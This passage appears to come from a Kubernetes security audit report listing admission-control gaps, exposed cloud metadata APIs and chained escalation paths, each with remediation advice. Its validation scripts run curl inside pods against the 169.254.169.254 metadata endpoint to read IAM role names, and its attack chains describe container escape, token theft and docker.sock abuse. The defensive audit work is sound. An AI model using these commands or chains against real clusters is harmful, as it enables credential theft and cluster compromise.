# CONFIRMED if: any cross-namespace "can-i" check returns "yes"
# IMPACT: Namespace provides organizational grouping only โ€” not a security boundary
Replace ClusterRoleBindings with namespace-scoped RoleBindings where possible. Eliminate wildcard verbs/resources. Audit impersonation permissions.
CB-005
Admission Control Failure L3 โ€” Control Plane Boundary
BROKEN
Confidence
100%
Exploitability
MEDIUM
Blast Radius
CRITICAL
Fix Priority
P1
T1562Defense Evasion
Impair Defenses
T1610Execution
Deploy Container
  • MEDIUM No Admission Policy Engine Detected cluster/cluster-wide
  • MEDIUM Pod Security Admission Not Configured default/default
  • MEDIUM Pod Security Admission Not Configured local-path-storage/local-path-storage
  • MEDIUM Pod Security Admission Not Configured secure-middleware/secure-middleware
  • MEDIUM Pod Security Admission Not Configured big-monolith/big-monolith
BOUNDARY BROKEN โ€” admission enforcement absent, 5 gaps confirmed
FindingResourceSevWhy This Proves Boundary Failure
No Admission Policy Engine Detected cluster-wide/cluster MEDIUM No admission webhook found โ€” any user with pod/create can deploy privileged containers
Pod Security Admission Not Configured default/default MEDIUM Pod Security Admission configuration issue โ€” enforcement level may permit privileged workloads
Pod Security Admission Not Configured local-path-storage/local-path-storage MEDIUM Pod Security Admission configuration issue โ€” enforcement level may permit privileged workloads
Pod Security Admission Not Configured secure-middleware/secure-middleware MEDIUM Pod Security Admission configuration issue โ€” enforcement level may permit privileged workloads
Pod Security Admission Not Configured big-monolith/big-monolith MEDIUM Pod Security Admission configuration issue โ€” enforcement level may permit privileged workloads
The admission control layer cannot prevent deployment of privileged workloads. CB-001 (Container Isolation Failure) risks are structurally unblocked โ€” any user with pod/create can deploy a container escape vector.
Attacker submits privileged workload manifest
โ†’ No admission webhook rejects it
โ†’ Privileged pod scheduled
โ†’ Container escape path open
  • policy bypass
  • unauthorized privileged workload deployment
  • undetected privilege escalation
31
Pods
7
Namespaces
1
Nodes
4
Secrets
# CB-005 โ€” Admission Control Failure
# Vulnerability Validation โ€” Confirm policy engine cannot block privileged pods
# Purpose: Verify policy gap exists. Dry-run only โ€” no actual deployment.

# Check 1: List active admission webhooks
kubectl get validatingwebhookconfigurations
kubectl get mutatingwebhookconfigurations
# VULNERABLE if no Kyverno/OPA/Gatekeeper webhook is listed

# Check 2: Check PodSecurity admission on namespace
kubectl get namespace cluster-wide -o json | \
  jq '.metadata.labels | with_entries(select(.key | startswith("pod-security")))'
# VULNERABLE if no pod-security labels are set (empty result)

# Check 3: Dry-run a privileged pod manifest โ€” does policy block it?
kubectl apply --dry-run=server -n cluster-wide -f - <<EOF
apiVersion: v1
kind: Pod
metadata:
  name: validation-check-dryrun
spec:
  containers:
  - name: check
    image: alpine
    securityContext:
      privileged: true
EOF
# BOUNDARY BROKEN if dry-run succeeds (no admission webhook rejects it)

# Check 4: Verify if any PSA enforcing mode is active cluster-wide
kubectl get namespaces -o json | \
  jq '[.items[] | {name:.metadata.name, psa:.metadata.labels} |
      select(.psa | keys[] | startswith("pod-security")) ] | length'
# VULNERABLE if count is 0 (no namespaces have PSA enforcement)

  Affected namespaces: local-path-storage, secure-middleware, big-monolith, cluster-wide, default
    - cluster-wide/cluster
    - default/default
    - local-path-storage/local-path-storage
    - secure-middleware/secure-middleware
    - big-monolith/big-monolith

# CONFIRMED if: no webhook present AND dry-run admits privileged pod
# IMPACT: CB-001 risks are structurally unblocked โ€” any user with pod/create can escape
Deploy Kyverno or OPA Gatekeeper with a deny-privileged baseline policy. Enable Pod Security Admission at restricted or baseline level. Audit namespace exclusions.
CB-010
Cloud Identity Bridge Failure L4 โ€” Infrastructure Boundary
DEGRADED
Confidence
100%
Exploitability
LOW
Blast Radius
CRITICAL
Fix Priority
P2
T1552.005Credential Access
Cloud Instance Metadata API
T1078.004Defense Evasion
Cloud Accounts
  • LOW Cloud Metadata API Exposed local-path-storage/local-path-storage
  • LOW Cloud Metadata API Exposed secure-middleware/secure-middleware
  • LOW Cloud Metadata API Exposed default/default
  • LOW Cloud Metadata API Exposed big-monolith/big-monolith
BOUNDARY BROKEN โ€” cloud metadata API reachable from 4 workload(s)
FindingResourceSevWhy This Proves Boundary Failure
Cloud Metadata API Exposed local-path-storage/local-path-storage LOW Cloud metadata API reachable at 169.254.169.254 โ€” IAM credentials retrievable via HTTP from any pod
Cloud Metadata API Exposed secure-middleware/secure-middleware LOW Cloud metadata API reachable at 169.254.169.254 โ€” IAM credentials retrievable via HTTP from any pod
Cloud Metadata API Exposed default/default LOW Cloud metadata API reachable at 169.254.169.254 โ€” IAM credentials retrievable via HTTP from any pod
Cloud Metadata API Exposed big-monolith/big-monolith LOW Cloud metadata API reachable at 169.254.169.254 โ€” IAM credentials retrievable via HTTP from any pod
Cloud provider IAM credentials are retrievable via plain HTTP from any pod in the affected namespaces. A cluster breach immediately extends to cloud infrastructure โ€” no cloud-level exploit is required.
Compromised Pod
โ†’ Access cloud metadata API (169.254.169.254)
โ†’ Retrieve IAM credentials / IRSA token
โ†’ AWS / GCP / Azure account access
โ†’ Cloud infrastructure takeover
  • AWS / GCP / Azure account takeover
  • cloud data exfiltration
  • infrastructure-level persistence
31
Pods
7
Namespaces
1
Nodes
4
Secrets
# CB-010 โ€” Cloud Identity Bridge Failure
# Vulnerability Validation โ€” Confirm cloud metadata API is reachable
# Purpose: Verify IMDS reachability. Confirms IAM role name only โ€” no credential retrieval.

# Check 1: Test metadata API reachability (connection only, no data)
kubectl exec local-path-storage -n local-path-storage -- sh -c \
  'curl -s -m 3 -o /dev/null -w "HTTP %{http_code}" http://169.254.169.254/latest/meta-data/'
# BOUNDARY BROKEN if HTTP 200 is returned

# Check 2: AWS โ€” read IAM role name (no secret values, just role identity)
kubectl exec local-path-storage -n local-path-storage -- sh -c \
  'curl -s -m 3 http://169.254.169.254/latest/meta-data/iam/security-credentials/ 2>/dev/null || echo "NOT_AWS"'
# VULNERABLE if a role name is returned

# Check 3: GCP โ€” check metadata endpoint reachability
kubectl exec local-path-storage -n local-path-storage -- sh -c \
  'curl -s -m 3 -o /dev/null -w "HTTP %{http_code}" \
    -H "Metadata-Flavor: Google" \
    http://metadata.google.internal/computeMetadata/v1/instance/ 2>/dev/null || echo "NOT_GCP"'
# VULNERABLE if HTTP 200 is returned

# Check 4: Verify NetworkPolicy is absent (no egress restriction to 169.254.169.254)
kubectl get networkpolicies -n local-path-storage -o json | \
  jq '.items[] | select(.spec.egress != null) |
      {name:.metadata.name, egress:.spec.egress}' 2>/dev/null | head -20
# SAFER if a NetworkPolicy explicitly denies 169.254.169.254 egress

  Affected namespaces: default, big-monolith, local-path-storage, secure-middleware
    - local-path-storage/local-path-storage
    - secure-middleware/secure-middleware
    - default/default
    - big-monolith/big-monolith

# CONFIRMED if: HTTP 200 from metadata endpoint
# IMPACT: Cluster breach extends to cloud infrastructure โ€” IAM credentials retrievable via plain HTTP
Block metadata API access via NetworkPolicy (deny egress to 169.254.169.254). Use IMDSv2 on AWS with hop limit 1. Scope IRSA / Workload Identity roles to minimum required permissions.
6 Compound Break(s) โ€” Multi-Stage Attack Paths
COMPOUND-1
Container Escape to Cluster Admin
100% confidence
CB-001 โ†’ CB-003
T1611Privilege Escalation
Escape to Host
T1548Privilege Escalation
Abuse Elevation Control Mechanism
Container escape via privileged context / hostPID
โ†’ Access node filesystem, steal kubeconfig or SA token
โ†’ RBAC escalation using stolen identity
โ†’ cluster-admin โ€” full cluster control
Complete cluster compromise from any vulnerable pod.
31
Pods
7
Namespaces
1
Nodes
4
Secrets
CB-001 โ€” Container Isolation Failure
  • CRITICAL Privileged Container Detected system-monitor-deployment/default
  • CRITICAL Privileged Container Detected health-check-deployment/default
  • HIGH hostPID Enabled system-monitor-deployment/default
  • MEDIUM Privilege Escalation Allowed system-monitor-deployment/default
  • MEDIUM Privilege Escalation Allowed health-check-deployment/default
CB-003 โ€” RBAC Boundary Failure
  • CRITICAL Overly Permissive Role Binding superadmin/cluster-wide
  • CRITICAL Wildcard Permissions Granted secret-reader/big-monolith
  • CRITICAL system:masters Group Binding Detected cluster-admin/cluster-wide
  • HIGH Dangerous Permission Combination local-path-provisioner-role/local-path-storage
  • HIGH Dangerous Permission Combination local-path-provisioner-role
Enforce non-privileged workloads via admission control (CB-001) AND restrict RBAC escalation paths (CB-003). Both boundaries must hold simultaneously.
COMPOUND-3
Container Escape to Cloud Account Takeover
100% confidence
CB-001 โ†’ CB-010
T1611Privilege Escalation
Escape to Host
T1552.005Credential Access
Cloud Instance Metadata API
Container escape to node level via privileged context
โ†’ Node can reach cloud metadata API (169.254.169.254)
โ†’ Retrieve IAM credentials / IRSA token from metadata service
โ†’ AWS / GCP / Azure account full access
Kubernetes cluster breach pivots directly to cloud infrastructure compromise.
31
Pods
7
Namespaces
1
Nodes
4
Secrets
CB-001 โ€” Container Isolation Failure
  • CRITICAL Privileged Container Detected system-monitor-deployment/default
  • CRITICAL Privileged Container Detected health-check-deployment/default
  • HIGH hostPID Enabled system-monitor-deployment/default
  • MEDIUM Privilege Escalation Allowed system-monitor-deployment/default
  • MEDIUM Privilege Escalation Allowed health-check-deployment/default
CB-010 โ€” Cloud Identity Bridge Failure
  • LOW Cloud Metadata API Exposed local-path-storage/local-path-storage
  • LOW Cloud Metadata API Exposed secure-middleware/secure-middleware
  • LOW Cloud Metadata API Exposed default/default
  • LOW Cloud Metadata API Exposed big-monolith/big-monolith
Enforce non-privileged containers (CB-001) AND block metadata API egress via NetworkPolicy (CB-010).
COMPOUND-4
Policy Bypass to Persistent Node Compromise
100% confidence
CB-005 โ†’ CB-001
T1562Defense Evasion
Impair Defenses
T1611Privilege Escalation
Escape to Host
Attacker submits privileged container manifest
โ†’ No admission webhook rejects it (policy bypass)
โ†’ Privileged pod scheduled and running
โ†’ Container escape to node root
Admission control failure removes the last prevention layer before container escape.
31
Pods
7
Namespaces
1
Nodes
4
Secrets
CB-005 โ€” Admission Control Failure
  • MEDIUM No Admission Policy Engine Detected cluster/cluster-wide
  • MEDIUM Pod Security Admission Not Configured default/default
  • MEDIUM Pod Security Admission Not Configured local-path-storage/local-path-storage
  • MEDIUM Pod Security Admission Not Configured secure-middleware/secure-middleware
  • MEDIUM Pod Security Admission Not Configured big-monolith/big-monolith
CB-001 โ€” Container Isolation Failure
  • CRITICAL Privileged Container Detected system-monitor-deployment/default
  • CRITICAL Privileged Container Detected health-check-deployment/default
  • HIGH hostPID Enabled system-monitor-deployment/default
  • MEDIUM Privilege Escalation Allowed system-monitor-deployment/default
  • MEDIUM Privilege Escalation Allowed health-check-deployment/default
Deploy Kyverno/OPA with a deny-privileged policy (CB-005) so CB-001 risks cannot manifest.
COMPOUND-6
Namespace Escape via RBAC Wildcard
94% confidence
CB-002 โ†’ CB-003
T1484Privilege Escalation
Domain Policy Modification
T1548Privilege Escalation
Abuse Elevation Control Mechanism
Workload in Namespace A exploits ClusterRoleBinding
โ†’ Wildcard RBAC verbs allow access to Namespace B..N
โ†’ RBAC escalation creates new bindings in target namespace
โ†’ Tenant escape โ€” full cross-namespace control
Namespace boundary is completely meaningless when combined with wildcard RBAC.
31
Pods
7
Namespaces
1
Nodes
4
Secrets
CB-002 โ€” Namespace Isolation Failure
  • CRITICAL Wildcard Permissions Granted secret-reader/big-monolith
  • HIGH Cross-Namespace ServiceAccount Binding system:controller:bootstrap-signer/kube-public
CB-003 โ€” RBAC Boundary Failure
  • CRITICAL Overly Permissive Role Binding superadmin/cluster-wide
  • CRITICAL Wildcard Permissions Granted secret-reader/big-monolith
  • CRITICAL system:masters Group Binding Detected cluster-admin/cluster-wide
  • HIGH Dangerous Permission Combination local-path-provisioner-role/local-path-storage
  • HIGH Dangerous Permission Combination local-path-provisioner-role
Replace ClusterRoleBindings with namespace-scoped RoleBindings (CB-002) and eliminate wildcard RBAC (CB-003).
COMPOUND-9
Cloud Identity Bridge with RBAC Escalation
100% confidence
CB-010 โ†’ CB-003
T1552.005Credential Access
Cloud Instance Metadata API
T1548Privilege Escalation
Abuse Elevation Control Mechanism
Pod reaches cloud metadata API, obtains IAM credentials
โ†’ IAM role has K8s API server access or RBAC bind permissions
โ†’ Escalate to cluster-admin via RBAC
โ†’ AWS / GCP / Azure account + full cluster control simultaneously
Bidirectional compromise: cloud account AND Kubernetes cluster both fall in one chain.
31
Pods
7
Namespaces
1
Nodes
4
Secrets
CB-010 โ€” Cloud Identity Bridge Failure
  • LOW Cloud Metadata API Exposed local-path-storage/local-path-storage
  • LOW Cloud Metadata API Exposed secure-middleware/secure-middleware
  • LOW Cloud Metadata API Exposed default/default
  • LOW Cloud Metadata API Exposed big-monolith/big-monolith
CB-003 โ€” RBAC Boundary Failure
  • CRITICAL Overly Permissive Role Binding superadmin/cluster-wide
  • CRITICAL Wildcard Permissions Granted secret-reader/big-monolith
  • CRITICAL system:masters Group Binding Detected cluster-admin/cluster-wide
  • HIGH Dangerous Permission Combination local-path-provisioner-role/local-path-storage
  • HIGH Dangerous Permission Combination local-path-provisioner-role
Block metadata API access (CB-010) and eliminate RBAC escalation paths (CB-003).
COMPOUND-10
Container Runtime Socket to Node Takeover
94% confidence
CB-006 โ†’ CB-001
T1610Execution
Deploy Container
T1611Privilege Escalation
Escape to Host
Container accesses docker.sock or containerd.sock
โ†’ Spawn new container with privileged flag via runtime API
โ†’ New container escapes to host filesystem
โ†’ Node root โ€” full node compromise
Container runtime socket access is an unconditional node takeover when combined with privileged container capability.
31
Pods
7
Namespaces
1
Nodes
4
Secrets
CB-006 โ€” Node Trust Failure
  • CRITICAL Docker Socket Mount Detected health-check-deployment/default
  • HIGH hostPID Enabled system-monitor-deployment/default
CB-001 โ€” Container Isolation Failure
  • CRITICAL Privileged Container Detected system-monitor-deployment/default
  • CRITICAL Privileged Container Detected health-check-deployment/default
  • HIGH hostPID Enabled system-monitor-deployment/default
  • MEDIUM Privilege Escalation Allowed system-monitor-deployment/default
  • MEDIUM Privilege Escalation Allowed health-check-deployment/default
Never mount runtime sockets in workloads (CB-006) and enforce non-privileged containers (CB-001).